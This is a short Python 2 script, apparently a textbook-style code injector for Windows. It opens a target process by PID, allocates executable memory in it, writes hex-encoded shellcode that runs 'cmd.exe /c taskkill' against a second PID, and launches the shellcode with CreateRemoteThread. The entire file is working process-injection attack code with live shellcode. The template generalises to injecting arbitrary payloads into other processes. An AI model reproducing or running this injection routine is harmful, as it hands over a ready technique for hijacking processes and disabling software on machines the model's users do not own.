import sys 
from ctypes import * 
PAGE_EXECUTE_READWRITE         = 0x00000040 
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF ) 
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 ) 
kernel32      = windll.kernel32 
pid           = int(sys.argv[1]) 
pid_to_kill   = sys.argv[2] 
if not sys.argv[1] or not sys.argv[2]: 
    print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>" 
    sys.exit(0) 
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA 
shellcode = \ 
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ 
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ 
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ 
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ 
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ 
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ 
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ 
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ 
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ 
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" 
padding       = 4 - (len( pid_to_kill )) 
replace_value = pid_to_kill + ( "\x00" * padding ) 
replace_string= "\x41" * 4 
shellcode     = shellcode.replace( replace_string, replace_value ) 
code_size     = len(shellcode) 
# Get a handle to the process we are injecting into. 
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) 
if not h_process: 
    print "[*] Couldn't acquire a handle to PID: %s" % pid 
    sys.exit(0) 
# Allocate some space for the shellcode 
arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) 
# Write out the shellcode 
written = c_int(0) 
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) 
# Now we create the remote thread and point it's entry routine 
# to be head of our shellcode 
thread_id = c_ulong(0) 
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)): 
    print "[*] Failed to inject process-killing shellcode. Exiting." 
    sys.exit(0) 
print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value 
print "[*] Process %s should not be running anymore!" % pid_to_kill